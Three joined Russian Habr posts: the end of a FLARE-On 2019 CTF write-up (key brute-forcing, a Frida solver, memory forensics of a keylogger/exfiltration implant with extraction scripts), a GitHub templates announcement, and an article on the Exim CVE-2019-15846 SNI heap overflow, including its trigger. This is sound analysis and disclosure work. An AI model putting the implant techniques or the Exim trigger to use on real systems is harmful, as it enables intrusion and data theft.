a = (0x100000000 + a - (t ^ (b + ((b >> 5) ^ (b << 4))))) & 0xffffffff
return a, b
```
Как оказалось, файл `the_key_to_success_0000.gif.Mugatu` необходим для проверки реализации алгоритма. Для его шифрования использовался ключ из нулевых байтов, что можно понять по названию. Дешифрованный файл выглядит следующим образом:

Можно заметить, что на изображении есть подсказка о реальном ключе, но я не сразу обратил на это внимание. Для перебора ключа алгоритм был переписан на `C`. При дешифровке проверяется заголовок `GIF`-изображения.
```
#include
#include
void decrypt(unsigned int \* inp, unsigned int \* outp, unsigned char \* key) {
unsigned int i = 0xc6ef3720;
unsigned int a = inp[0];
unsigned int b = inp[1];
unsigned int t;
for(int j = 0; j < 32; j++)
{
t = i + key[(i >> 11) & 3];
b -= t ^ (a + ((a >> 5) ^ (a << 4)));
i += 0x61C88647;
t = i + key[i & 3];
a -= t ^ (b + ((b >> 5) ^ (b << 4)));
}
outp[0] = a;
outp[1] = b;
}
int main() {
int fd = open("best.gif.Mugatu", 0);
unsigned int inp[2];
unsigned int outp[2];
unsigned int key = 0;
read(fd, inp, 8);
close(fd);
for(unsigned long long key = 0; key < 0x100000000; key++)
{
if((key & 0xffffff) == 0) {
printf("%lf\n", ((double)key) / ((double)0x100000000) \* 100.0);
}
decrypt(inp, outp, &key);
if( ((char \*)outp)[0] == 'G' &&
((char \*)outp)[1] == 'I' &&
((char \*)outp)[2] == 'F' &&
((char \*)outp)[5] == 'a')
{
printf("%#llx\n", key);
}
}
}
```
В результате перебора было получено значение ключа `0xb1357331` и был расшифрован файл с флагом:

0x0B — vv\_max
--------------
> Hey, at least its not subleq.
В таске дан бинарник `vv_max.exe`, принимающий две строки в качестве аргументов. Он представляет из себя реализацию виртуальной машины с набором 256-битных регистров и операций над ними. Операции производятся с помощью инструкций расширения `AVX2` процессора, таких как `vpermd`, `vpslld` и других. В результате дизассемблирования байт-кода виртуальной машины получилось следующее:
**Код виртуальной машины**
```
0000 clear_regs
0001 r0 = 393130324552414c46
0023 r1 = 3030303030303030303030303030303030303030303030303030303030303030
0045 r3 = 1a1b1b1b1a13111111111111111111151a1b1b1b1a1311111111111111111115
0067 r4 = 1010101010101010080408040201101010101010101010100804080402011010
0089 r5 = b9b9bfbf041310000000000000000000b9b9bfbf04131000
00ab r6 = 2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f
00cd r10 = 140014001400140014001400140014001400140014001400140014001400140
00ef r11 = 1100000011000000110000001100000011000000110000001100000011000
0111 r12 = ffffffff0c0d0e08090a040506000102ffffffff0c0d0e08090a040506000102
0133 r13 = ffffffffffffffff000000060000000500000004000000020000000100000000
0155 r16 = ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
0177 r17 = 6a09e667bb67ae853c6ef372a54ff53a510e527f9b05688c1f83d9ab5be0cd19
0199 r18 = 428a2f9871374491b5c0fbcfe9b5dba53956c25b59f111f1923f82a4ab1c5ed5
01bb r19 = 300000002000000010000000000000007000000060000000500000004
01dd r20 = 0
01ff r21 = 100000001000000010000000100000001000000010000000100000001
0221 r22 = 200000002000000020000000200000002000000020000000200000002
0243 r23 = 300000003000000030000000300000003000000030000000300000003
0265 r24 = 400000004000000040000000400000004000000040000000400000004
0287 r25 = 500000005000000050000000500000005000000050000000500000005
02a9 r26 = 600000006000000060000000600000006000000060000000600000006
02cb r27 = 700000007000000070000000700000007000000070000000700000007
02ed r20 = vpermd(r0, r20)
02f1 r21 = vpermd(r0, r21)
02f5 r22 = vpermd(r0, r22)
02f9 r23 = vpermd(r0, r23)
02fd r24 = vpermd(r0, r24)
0301 r25 = vpermd(r0, r25)
0305 r26 = vpermd(r0, r26)
0309 r27 = vpermd(r0, r27)
030d r7 = vpsrld(r1, 4)
0311 r28 = r20 ^ r21
0315 r28 = r28 ^ r22
0319 r28 = r28 ^ r23
031d r28 = r28 ^ r24
0321 r28 = r28 ^ r25
0325 r28 = r28 ^ r26
0329 r28 = r28 ^ r27
032d r7 = r7 & r6
0331 r29 = vpslld(r17, 7)
0335 r30 = vpsrld(r17, 25)
0339 r15 = r29 | r30
033d r8 = vpcmpeqb(r1, r6)
0341 r29 = vpslld(r17, 21)
0345 r30 = vpsrld(r17, 11)
0349 r29 = r29 | r30
034d r15 = r15 ^ r29
0351 r8 = vpcmpeqb(r1, r6)
0355 r29 = vpslld(r17, 26)
0359 r30 = vpsrld(r17, 6)
035d r29 = r29 | r30
0361 r15 = r15 ^ r29
0365 r29 = r20 ^ r16
0369 r30 = r20 & r18
036d r29 = r29 ^ r30
0371 r15 = add_d(r29, r15)
0375 r20 = add_d(r15, r0)
0379 r7 = add_b(r8, r7)
037d r29 = r20 ^ r28
0381 r17 = vpermd(r29, r19)
0385 r7 = vpshufb(r5, r7)
0389 r29 = vpslld(r17, 7)
038d r30 = vpsrld(r17, 25)
0391 r15 = r29 | r30
0395 r29 = vpslld(r17, 21)
0399 r30 = vpsrld(r17, 11)
039d r29 = r29 | r30
03a1 r15 = r15 ^ r29
03a5 r29 = vpslld(r17, 26)
03a9 r30 = vpsrld(r17, 6)
03ad r29 = r29 | r30
03b1 r15 = r15 ^ r29
03b5 r2 = add_b(r1, r7)
03b9 r29 = r21 ^ r16
03bd r30 = r21 & r18
03c1 r29 = r29 ^ r30
03c5 r15 = add_d(r29, r15)
03c9 r21 = add_d(r15, r0)
03cd r29 = r21 ^ r28
03d1 r17 = vpermd(r29, r19)
03d5 r20 = r20 ^ r21
03d9 r29 = vpslld(r17, 7)
03dd r30 = vpsrld(r17, 25)
03e1 r15 = r29 | r30
03e5 r29 = vpslld(r17, 21)
03e9 r30 = vpsrld(r17, 11)
03ed r29 = r29 | r30
03f1 r15 = r15 ^ r29
03f5 r29 = vpslld(r17, 26)
03f9 r30 = vpsrld(r17, 6)
03fd r29 = r29 | r30
0401 r15 = r15 ^ r29
0405 r7 = vpmaddubsw(r2, r10)
0409 r29 = r22 ^ r16
040d r30 = r22 & r18
0411 r29 = r29 ^ r30
0415 r15 = add_d(r29, r15)
0419 r22 = add_d(r15, r0)
041d r29 = r22 ^ r28
0421 r17 = vpermd(r29, r19)
0425 r20 = r20 ^ r22
0429 r29 = vpslld(r17, 7)
042d r30 = vpsrld(r17, 25)
0431 r15 = r29 | r30
0435 r29 = vpslld(r17, 21)
0439 r30 = vpsrld(r17, 11)
043d r29 = r29 | r30
0441 r15 = r15 ^ r29
0445 r29 = vpslld(r17, 26)
0449 r30 = vpsrld(r17, 6)
044d r29 = r29 | r30
0451 r15 = r15 ^ r29
0455 r2 = vpmaddwd(r7, r11)
0459 r29 = r23 ^ r16
045d r30 = r23 & r18
0461 r29 = r29 ^ r30
0465 r15 = add_d(r29, r15)
0469 r23 = add_d(r15, r0)
046d r29 = r23 ^ r28
0471 r17 = vpermd(r29, r19)
0475 r20 = r20 ^ r23
0479 r29 = vpslld(r17, 7)
047d r30 = vpsrld(r17, 25)
0481 r15 = r29 | r30
0485 r29 = vpslld(r17, 21)
0489 r30 = vpsrld(r17, 11)
048d r29 = r29 | r30
0491 r15 = r15 ^ r29
0495 r29 = vpslld(r17, 26)
0499 r30 = vpsrld(r17, 6)
049d r29 = r29 | r30
04a1 r15 = r15 ^ r29
04a5 r29 = r24 ^ r16
04a9 r30 = r24 & r18
04ad r29 = r29 ^ r30
04b1 r15 = add_d(r29, r15)
04b5 r24 = add_d(r15, r0)
04b9 r29 = r24 ^ r28
04bd r17 = vpermd(r29, r19)
04c1 r20 = r20 ^ r24
04c5 r29 = vpslld(r17, 7)
04c9 r30 = vpsrld(r17, 25)
04cd r15 = r29 | r30
04d1 r29 = vpslld(r17, 21)
04d5 r30 = vpsrld(r17, 11)
04d9 r29 = r29 | r30
04dd r15 = r15 ^ r29
04e1 r29 = vpslld(r17, 26)
04e5 r30 = vpsrld(r17, 6)
04e9 r29 = r29 | r30
04ed r15 = r15 ^ r29
04f1 r29 = r25 ^ r16
04f5 r30 = r25 & r18
04f9 r29 = r29 ^ r30
04fd r15 = add_d(r29, r15)
0501 r25 = add_d(r15, r0)
0505 r29 = r25 ^ r28
0509 r17 = vpermd(r29, r19)
050d r20 = r20 ^ r25
0511 r2 = vpshufb(r2, r12)
0515 r29 = vpslld(r17, 7)
0519 r30 = vpsrld(r17, 25)
051d r15 = r29 | r30
0521 r29 = vpslld(r17, 21)
0525 r30 = vpsrld(r17, 11)
0529 r29 = r29 | r30
052d r15 = r15 ^ r29
0531 r29 = vpslld(r17, 26)
0535 r30 = vpsrld(r17, 6)
0539 r29 = r29 | r30
053d r15 = r15 ^ r29
0541 r29 = r26 ^ r16
0545 r30 = r26 & r18
0549 r29 = r29 ^ r30
054d r15 = add_d(r29, r15)
0551 r26 = add_d(r15, r0)
0555 r29 = r26 ^ r28
0559 r17 = vpermd(r29, r19)
055d r20 = r20 ^ r26
0561 r29 = vpslld(r17, 7)
0565 r30 = vpsrld(r17, 25)
0569 r15 = r29 | r30
056d r29 = vpslld(r17, 21)
0571 r30 = vpsrld(r17, 11)
0575 r29 = r29 | r30
0579 r15 = r15 ^ r29
057d r29 = vpslld(r17, 26)
0581 r30 = vpsrld(r17, 6)
0585 r29 = r29 | r30
0589 r15 = r15 ^ r29
058d r2 = vpermd(r2, r13)
0591 r29 = r27 ^ r16
0595 r30 = r27 & r18
0599 r29 = r29 ^ r30
059d r15 = add_d(r29, r15)
05a1 r27 = add_d(r15, r0)
05a5 r29 = r27 ^ r28
05a9 r17 = vpermd(r29, r19)
05ad r20 = r20 ^ r27
05b1 r19 = ffffffffffffffffffffffffffffffffffffffffffffffff
05d3 r20 = r20 & r19
05d7 r31 = 2176620c3a5c0f290b583618734f07102e332623780e59150c05172d4b1b1e22
```
После завершения работы виртуальной машины значение в нулевом регистре сравнивается со строкой `FLARE2019`. Изначально это значение устанавливается равным первому аргументу программы, и из кода выше видно, что оно не меняется. Таким образом, первый аргумент программы должен быть `FLARE2019`. Также происходит сравнение `r2` и `r20`. В ходе динамического анализа выяснилось, что значение `r20` не зависит от второго аргумента программы. Влияние второго аргумента на `r2` линейное — каждый байт входа влияет на 6 бит `r2`. Я решил просто перебирать каждый символ входных данных до тех пор, пока очередные 6 бит выхода не совпадут с нужным значением. Для автоматизации я использовал `Frida`:
```
# vvmax.py
from __future__ import print_function
import frida
import string
import hexdump
def check(val):
global gdata
with open('vvmax.js', 'r') as f:
script_src = f.read()
pid = frida.spawn(['vv_max.exe', 'FLARE2019', val.ljust(32, 'a')])
session = frida.attach(pid)
script = session.create_script(script_src)
def handler(message, data):
handler.data = data
script.on('message', handler)
script.load()
frida.resume(pid)
while not hasattr(handler, 'data'):
pass
session.detach()
return handler.data
alph = string.printable
def to_bits(x):
return ''.join(bin(ord(i))[2:].zfill(8) for i in x)
target = to_bits('pp\xb2\xac\x01\xd2^a\n\xa7*\xa8\x08\x1c\x86\x1a\xe8E\xc8)\xb2\xf3\xa1\x1e\x00\x00\x00\x00\x00\x00\x00\x00')
password = ''
while len(password) != 32:
for c in alph:
data = to_bits(check(password + c))
i = 6*len(password + c)
if data[:i] == target[:i]:
password += c
i += 1
break
print()
print('----->', `password`)
print()
```
```
// vvmax.js
var modules = Process.enumerateModules();
var base = modules[0].base;
Interceptor.attach(base.add(0x1665), function() {
var p = this.context.rdx.add(0x840);
var res = p.readByteArray(32);
send(null, res);
});
```
С помощью данного способа и был получен флаг:

0x0C — help
-----------
> You're my only hope FLARE-On player! One of our developers was hacked and we're not sure what they took. We managed to set up a packet capture on the network once we found out but they were definitely already on the system. I think whatever they installed must be buggy — it looks like they crashed our developer box. We saved off the dump file but I can't make heads or tails of it — PLEASE HELP!!!!!!
Вот мы и дошли до последнего таска. На этот раз нам дан `RAM`-дамп и дамп сетевого трафика. В трафике можно обнаружить интересные порты `4444`, `6666`, `7777` и `8888`. Трафик в них, судя по всему, зашифрован, поэтому перейдем к `RAM`-дампу. Для анализа можно использовать утилиту `volatility`. При попытке определить профиль для работы с дампом встроенные средства `volatility` предложили мне `Win10x64_15063`, однако уже потом выяснилось, что правильнее было использовать `Win7SP1x64`, хотя это особо не повлияло на решение таска.
В ходе различных экспериментов в `volatility` в памяти были обнаружены интересные модули ядра:
```
$ volatility --profile Win7SP1x64 -f help.dmp modules
Volatility Foundation Volatility Framework 2.6
Offset(V) Name Base Size File
------------------ -------------------- ------------------ ------------------ ----
0xfffffa800183e890 ntoskrnl.exe 0xfffff80002a49000 0x5e7000 \SystemRoot\system32\ntoskrnl.exe
...
0xfffffa800428ff30 man.sys 0xfffff880033bc000 0xf000 \??\C:\Users\FLARE ON 2019\Desktop\man.sys
```
Извлечь данный модуль не удалось:
```
$ volatility --profile Win7SP1x64 -f help.dmp moddump --base 0xfffff880033bc000 -D drivers
Volatility Foundation Volatility Framework 2.6
Module Base Module Name Result
------------------ -------------------- ------
0xfffff880033bc000 man.sys Error: e_magic 0000 is not a valid DOS signature.
```
Видимо, заголовок модуля поврежден. Для решения проблемы можно воспользоваться командой `volshell` и сдампить модуль вручную.
```
$ volatility --profile Win7SP1x64 -f help.dmp volshell
In [1]: db(0xfffff880033bc000)
0xfffff880033bc000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xfffff880033bc010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xfffff880033bc020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xfffff880033bc030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xfffff880033bc040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xfffff880033bc050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xfffff880033bc060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xfffff880033bc070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
In [2]: db(0xfffff880033bc000 + 0x1100)
0xfffff880033bd100 01 48 8b 4c 24 20 48 8b 44 24 28 48 89 41 08 48 .H.L$.H.D$(H.A.H
0xfffff880033bd110 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc ................
0xfffff880033bd120 48 89 4c 24 08 48 83 ec 38 48 8b 44 24 40 0f be H.L$.H..8H.D$@..
0xfffff880033bd130 48 43 48 8b 44 24 40 0f be 40 42 83 c0 01 3b c8 HCH.D$@..@B...;.
0xfffff880033bd140 7e 27 45 33 c9 41 b8 15 5b 00 00 48 8d 15 de 44 ~'E3.A..[..H...D
0xfffff880033bd150 00 00 48 8d 0d 07 45 00 00 ff 15 71 4f 00 00 c7 ..H...E....qO...
0xfffff880033bd160 44 24 20 00 00 00 00 eb 08 c7 44 24 20 01 00 00 D$........D$....
0xfffff880033bd170 00 48 8b 44 24 40 48 8b 80 b8 00 00 00 48 83 c4 .H.D$@H......H..
In [4]: man = addrspace().read(0xfffff880033bc000, 0xf000)
In [5]: with open('man_writeup.sys', 'wb') as f:
...: f.write(man)
...:
```
Видно, что заголовок модуля стерт, поэтому функция `moddump` не сработала. Проанализируем модуль вручную. Идентифицировать методы модуля оказалось довольно просто. Процесс реверс-инженеринга модуля описывать не буду, опишу лишь результат, который был получен после длительного анализа.
В модуле активно используется шифрование строк на стеке с помощью `RC4` со случайным ключом. Для упрощения преобразования подобных строк в начале был написан скрипт, который принимает строки из декомпилятора и расшифровывает сообщения.
Сам модуль представляет из себя нечто вроде прокси между зараженными процессами в `user-space`. Процессы заражаются инъектированием в них `DLL`-модулей с полезной нагрузкой. При инициализации один из процессов заражается встроенным в драйвер `DLL`-модулем (`m.dll`), отвечающим за принятие сообщений. Через него в дальнейшем могут быть загружены новые модули, информация о которых хранится в памяти драйвера в виде связного списка структур с необходимыми для взаимодействия данными. Для извлечения модулей из памяти нам интересны следующие поля структуры:
* Указатель на следующий элемент списка (смещение `+0x8`)
* Адрес структуры `_EPROCESS` зараженного процесса (смещение `+0x68`)
* Базовый адрес инъектированной библиотеки (смещение `+0x48`)
* Размер библиотеки (смещение `+0x58`)
Инъектированные `DLL`-модули также не имеют заголовка и могут быть зашифрованы с помощью `RC4`, в качестве ключа при этом используются `0x2c`-байт описанной выше структуры, начиная со смещения `0x48`.
Для извлечения всех модулей в `volatility` можно воспользоваться следующим скриптом для `volshell`:
```
import struct
from Crypto.Cipher import ARC4
head = 0xfffff880033c8158
krnl = addrspace()
def u64(x):
return struct.unpack('Q', x)[0]
fd = u64(krnl.read(head, 8))
while True:
proc_addr = u64(krnl.read(fd + 0x68, 8))
base = u64(krnl.read(fd + 0x48, 8))
key = krnl.read(fd + 0x48, 0x2c)
sz = u64(krnl.read(fd + 0x58, 8))
fd = u64(krnl.read(fd, 8))
p = obj.Object('_EPROCESS', proc_addr, krnl)
print p.ImageFileName.v(), hex(proc_addr), hex(base), hex(sz)
proc_space = p.get_process_address_space()
dump = proc_space.read(base, sz)
if dump[:0x100] == '\x00' * 0x100:
dump = ARC4.new(key).decrypt(dump)
with open('proc_{:016x}'.format(base), 'wb') as f:
f.write(dump)
if fd == head:
break
```
Начав анализ модулей, было обнаружено, что в них также используется шифрование строк на стеке с помощью `RC4`. Поэтому для упрощения был написан следующий скрипт для `IDA`, который расшифровывает строки, после чего переименовывает переменные в соответствии с их содержанием:
**Скрипт для IDA**
```
from __future__ import print_function
import sys
import re
from idaapi import get_func, decompile, get_name_ea, auto_wait, BADADDR
from idaapi import cot_call, cot_obj, init_hexrays_plugin, qexit
import ida_typeinf
import ida_lines
def rc4(key, data):
S = list(range(256))
j = 0
for i in list(range(256)):
j = (j + S[i] + ord(key[i % len(key)])) % 256
S[i], S[j] = S[j], S[i]
j = 0
y = 0
out = []
for char in data:
j = (j + 1) % 256
y = (y + S[j]) % 256
S[j], S[y] = S[y], S[j]
out.append(chr(ord(char) ^ S[(S[j] + S[y]) % 256]))
return ''.join(out)
def decrypt_stack_str_args(ea):
func = get_func(ea)
if func is None:
return
try:
c_func = decompile(func)
c_func.pseudocode
except Exception as ex:
return
for citem in c_func.treeitems:
citem = citem.to_specific_type
if citem.is_expr() and\
citem.op == cot_call and\
citem.ea == ea:
args = []
key = citem.a[0]
key_len = citem.a[1]
s = citem.a[2]
s_len = citem.a[3]
def get_var_idx(obj):
while obj.opname != 'var':
if obj.opname in ('ref', 'cast'):
obj = obj.x
else:
raise Exception('can\'t find type')
return obj.v.idx
if key_len.opname != 'num' or s_len.opname != 'num':
print('[!] can\'t get length: 0x{:08x}'.format(ea))
else:
try:
key_len_val = key_len.n._value
s_len_val = s_len.n._value
print('0x{:08x}'.format(ea),
'key_len =', key_len_val,
', s_len =', s_len_val)
hx_view = idaapi.open_pseudocode(ea, -1)
key_var_stkoff = hx_view.cfunc.get_lvars()[get_var_idx(key)].location.stkoff()
s_var_stkoff = hx_view.cfunc.get_lvars()[get_var_idx(s)].location.stkoff()
key_var = [v for v in hx_view.cfunc.get_lvars() if v.location.stkoff() == key_var_stkoff][0]
tif = ida_typeinf.tinfo_t()
ida_typeinf.parse_decl(tif, None,
'unsigned __int8 [{}];'.format(key_len_val), 0)
hx_view.set_lvar_type(key_var, tif)
s_var = [v for v in hx_view.cfunc.get_lvars() if v.location.stkoff() == s_var_stkoff][0]
tif = ida_typeinf.tinfo_t()
ida_typeinf.parse_decl(tif, None,
'unsigned __int8 [{}];'.format(s_len_val + 1), 0)
hx_view.set_lvar_type(s_var, tif)
key_var = [v for v in hx_view.cfunc.get_lvars() if v.location.stkoff() == key_var_stkoff][0]
s_var = [v for v in hx_view.cfunc.get_lvars() if v.location.stkoff() == s_var_stkoff][0]
key_regex = re.compile('{}\[(.+)\] = (.+);'.format(key_var.name))
s_regex = re.compile('{}\[(.+)\] = (.+);'.format(s_var.name))
key = bytearray(key_len_val)
s = bytearray(s_len_val + 1)
src = '\n'.join([ida_lines.tag_remove(i.line) for i in hx_view.cfunc.pseudocode])
for i, j in s_regex.findall(src):
s[int(i)] = (0x100 + int(j)) & 0xff
for i, j in key_regex.findall(src):
key[int(i)] = (0x100 + int(j)) & 0xff
key = ''.join(chr(i) for i in key)
s = ''.join(chr(i) for i in s)
result = rc4(key, s[:-1])
# unicode to ascii
if set(ord(i) for i in result[1::2]) == {0}:
result = 'wide_' + ''.join(result[0::2])
hx_view.rename_lvar(s_var, 's_' + result, True)
except Exception as ex:
print('[!] error: {}'.format(ex))
print('#### decryption helper script ####')
xref_to = get_name_ea(BADADDR, 'decrypt_stack_str')
xref_from = get_first_cref_to(xref_to)
while xref_from != BADADDR:
print('### 0x{:08x}'.format(xref_from))
decrypt_stack_str_args(xref_from)
xref_from = get_next_cref_to(xref_to, xref_from)
```
Вот результат работы скрипта:

Далее был произведен анализ полученных модулей. Удалось определить следующую функциональность каждого из них:
* `m.dll` — модуль, полученный из тела драйвера. Слушает порт `4444` на зараженной машине. Основная задача — прием команд и перенаправление их в основной драйвер для последующего выполнения;
* `n.dll` — модуль отвечает за отправку различных данных на хост `192.168.1.243`;
* `c.dll` — модуль отвечает за сжатие и шифрование данных с помощью `RC4`. В качестве ключа шифрования используется имя пользователя;
* `k.dll` — модуль отвечает за логирование нажатий клавиш и получение текста из окон (keylogger);
* `s.dll` — модуль отвечает за создание скриншотов рабочего стола;
* `f.dll` — модуль отвечает за взаимодействие с файловой системой.
При анализе трафика также было обнаружено, что пакеты дополнительно зашифрованы с помощью `XOR` с длиной ключа 8. В случае входящих на порт `4444` пакетов с командами ключ легко удалось узнать, т.к. в исходном пакете было множество нулевых байтов. В отправляемых пакетах все оказалось еще проще: после недолгого анализа выяснилось, что данные в пакете отправляются дважды — в зашифрованном и в открытом виде. Видимо, это произошло из-за ошибки в реализации.
Во входящем трафике (порт `4444`) был обнаружен еще один драйвер. Предположительно, он необходим для исполнения шел-кода в пространстве ядра. Для решения таска данный модуль не понадобился, поэтому его анализ проводить не буду. Также среди строк входящих пакетов были обнаружены следующие пути и названия файлов:
* keys.kdb
* C:\
* C:\keypass\keys.kdb
Предположительно, пакеты с этими строками предназначены для модуля `f.dll`: сначала происходит запрос на поиск файла `keys.kdb`, а затем запрос на его загрузку.
В трафике для порта `6666` было обнаружено два интересных пакета. Они были сжаты с помощью `LZNT1` и зашифрованы с помощью `RC4` и `XOR`. Ранее было замечено, что `XOR`-шифрование можно игнорировать, т.к. данные в пакете отправляются повторно не зашифрованными. Для расшифровки `RC4` необходимо знать имя пользователя, которое было получено из `RAM`-дампа: `FLARE ON 2019`. Стоит отметить, что функция `GetUserNameA`, которая используется для получения имени пользователя в модуле, возвращает в качестве длины длину буфера для имени пользователя с учетом нуль-символа в конце строки, что стоит учитывать при использовании `RC4`. Для распаковки сжатых с помощью `LZNT1` данных был написан следующий скрипт:
```
from ctypes import *
nt = windll.ntdll
for fname in ['input']:
with open(fname, 'rb') as f:
buf = f.read()
dec_data = create_string_buffer(0x10000)
final_size = c_ulong(0)
status = nt.RtlDecompressBuffer(
0x102, # COMPRESSION_FORMAT_LZNT1
dec_data, # UncompressedBuffer
0x10000, # UncompressedBufferSize
c_char_p(buf), # CompressedBuffer
0xFFFFFF, # CompressedBufferSize
byref(final_size) # FinalUncompressedSize
)
with open(fname + '.uncompressed', 'wb') as f:
f.write(dec_data.raw[:final_size.value])
```
Для примера рассмотрим самый первый пакет для порта `6666`. Изначально он выглядит так:
```
00000000: CC 69 94 FA 6A 37 18 29 CB 8D 87 EF 11 63 8E 73 .i..j7.).....c.s
00000010: FE AB 43 3B B3 94 28 4B 4D 19 00 00 00 4F DB C7 ..C;..(KM....O..
00000020: F3 1E E4 13 15 34 8F 51 A9 2B C2 D7 C1 96 78 F7 .....4.Q.+....x.
00000030: 91 98
```
Если взять вторую половину пакета, получим следующее:
```
00000000: 19 00 00 00 4F DB C7 F3 1E E4 13 15 34 8F 51 A9 ....O.......4.Q.
00000010: 2B C2 D7 C1 96 78 F7 91 98 +....x...
```
Первые 4 байта пакета — это длина всего сообщения, в данном случае равная 25. Расшифруем оставшиеся данные:
```
00000000: 12 B0 00 43 3A 5C 6B 65 79 70 61 04 73 73 01 70 ...C:\keypa.ss.p
00000010: 73 2E 6B 64 62 s.kdb
```
Применим скрипт для декомпрессии и получим строку `C:\keypass\keys.kdb`. По всей видимости, это ответ на запрос поиска файла, о котором мы говорили выше. Во втором пакете для порта `6666` был обнаружен сам файл — это база для хранилища паролей `KeePass`.
В пакетах для порта `7777` были обнаружены скриншоты рабочего стола в формате `BMP`. Они были зашифрованы только с помощью `XOR` и, в данном случае, их всё же пришлось расшифровывать, т.к. повторно отправляемые не зашифрованные данные не вошли в пакет полностью. В результате преобразований был получен набор скриншотов, на которых видно, как пользователь использует `KeePass`.


В пакетах для порта `8888` были обнаружены данные модуля `k.dll` — сохраненные нажатия клавиш и названия окон.
```
C:\Windows\system32\cmd.exe
nslookup googlecom
ping 1722173110
nslookup soeblogcom
nslookup fiosquatumgatefiosrouterhome
C:\Windows\system32\cmd.exe
Start
Start menu
Start menu
chrome
www.flare-on.com - Google Chrome
tis encrypting something twice better than once
Is encrypting something twice better than once? - Google Search - Google Chrome
Start
Start menu
Start menu
keeKeePass
th1sisth33nd111
KeePass
keys.kdb - KeePass
Is encrypting something twice better than once? - Google Search - Google Chrome
Start
Start menu
Start menu
KeePass
th1sisth33nd111
Open Database - keys.kdb
KeePass
Start
Start menu
Start menu
KeePass
Start menu
Start menu
Start menu
KeePass
th1sisth33nd111
```
После этого я попробовал использовать пароль `th1sisth33nd111` для открытия базы хранилища паролей, но ничего не вышло. Также по скриншотам видно, что пароль должен быть длиннее. Дело в том, что keylogger не учитывает некоторые нюансы нажатия клавиш и логирует не всё. Например, в логе видно, что в команде `ping` не были учтены точки. Далее были предприняты попытки использовать `hashcat` для подбора пароля для базы `KeePass` с учетом мутаций, но ничего не вышло. Затем я попробовал поискать фрагменты полученного пароля в строках дампа и получил следующий результат:
```
$ strings help.dmp | grep -i '3nd!'
!s_iS_th3_3Nd!!!
```
Дописав `Th` к полученной строке я получил доступ к хранилищу.

Также я рекомендую почитать [этот](https://sysenter-eip.github.io/FlareOn2019_NoReversing.html) райтап от другого участника соревнований. В нем приведен способ решения таска, не требующий реверс-инжиниринга.
0x0D — Итог
-----------
Итак, соревнование завершено. Несмотря на то, что задачи в этом году были проще, после решения последнего я ощутил приятное чувство удовлетворения. Наиболее интересной мне показалась последняя задача, в которой я попрактиковался в использовании функционала `volatility`, который до этого никогда не использовал. На скриншоте ниже можно увидеть время отправки мною каждого из флагов (время в UTC+3:00):
 | https://habr.com/ru/post/469393/ | null | ru | null |
# GitHub добавил поддержку шаблонов для Issue и Pull-реквестов
Вчера, 17 февраля, команда разработчиков Github [анонсировала](https://github.com/blog/2111-issue-and-pull-request-templates) новый функционал, которого пользователям, участвующим в групповой разработке, могло серьезно недоставать: теперь в GitHub есть шаблоны для Issue и Pull-реквестов.

По словам [Бена Блейкампа](https://github.com/bleikamp) "это первое из многих улучшений Issues и Pull-реквестов, сделанных благодаря фидбеку наших пользователей".
Для добавления шаблона Issue в репозиторий достаточно создать файл с именем `ISSUE_TEMPLATE` в корневом каталоге. Расширение файла роли не играет, но поддерживаются Markdown-файлы (.md). Это существенный плюс, так как md-разметка позволяет быстро и легко форматировать текст, добавлять ссылки, заголовки и [списки задач](https://github.com/blog/1375-task-lists-in-gfm-issues-pulls-comments).
Шаблон для Pull-реквеста добавляется по тому же принципу: создание файла с именем `PULL_REQUEST_TEMPLATE` в корневой директории вашего репозитория.
Для тех, кто опасается бардака в корневом каталоге была добавлена поддержка папки `.github/`. В ней можно с чистой совестью разместить файлы `CONTRIBUTING.md`, `ISSUE_TEMPLATE.md` и `PULL_REQUEST_TEMPLATE.md` и все будет работать в лучшем виде. Если не работает, то можно почитать [мануалы](https://help.github.com/articles/helping-people-contribute-to-your-project/). | https://habr.com/ru/post/277497/ | null | ru | null |
# Пропатчил Exim — пропатчь еще раз. Свежее Remote Command Execution в Exim 4.92 в один запрос

Совсем недавно, в начале лета, появились массовые призывы к обновлению Exim до версии 4.92 из-за уязвимости CVE-2019-10149 ([Срочно обновляйте exim до 4.92 — идёт активное заражение / Хабр](https://habr.com/ru/post/455598/)). А на днях выяснилось, что вредонос Sustes решил воспользоваться этой уязвимостью.
Теперь все экстренно обновившиеся могут опять «порадоваться»: 21 июля 2019 г. исследователь Zerons обнаружил критическую уязвимость в **Exim Mail Transfer agent (MTA) при использовании TLS** для версий от **4.80 до 4.92.1** включительно, позволяющую удаленно **выполнять код с привилегированными правами** ([CVE-2019-15846](https://exim.org/static/doc/security/CVE-2019-15846.txt)).
### Уязвимость
Уязвимость присутствует при использовании библиотек как GnuTLS, так и OpenSSL при установке защищенного TLS-соединения.
По словам разработчика Heiko Schlittermann, файл конфигурации в Exim по умолчанию не использует TLS, однако многие дистрибутивы во время установки создают необходимые сертификаты и включают защищенное соединение. Также более новые версии Exim устанавливают опцию *tls\_advertise\_hosts=\** и генерируют необходимые сертификаты.
> depends on the configuration. Most distros enable it by default, but Exim needs a certificate+key to work as a TLS server. Probably Distros create a Cert during setup. Newer Exims have the tls\_advertise\_hosts option defaulting to "\*" and create a self signed certificate, if none is provided.
Сама же уязвимость заключается в некорректной обработке SNI (Server Name Indication, технология, введенная в 2003 в RFC 3546 для запроса клиентом корректного сертификата для доменного имени, [Распространение стандарта TLS SNI / Блог компании WEBO Group / Хабр](https://habr.com/ru/company/webo/blog/327410/)) в ходе TLS-рукопожатия. Злоумышленнику достаточно отправить SNI, оканчивающийся бэкслешем ("\") и нулл-символом ("\0").
Исследователи из компании Qualys обнаружили баг в функции string\_printing(tls\_in.sni), который заключается в некорректном экранировании "\". В результате происходит запись обратного слеша в неэкранированном виде в файл заголовков print spool. Далее этот файл с привилегированными правами считывается функцией spool\_read\_header(), что ведет к переполнению кучи (heap overflow).
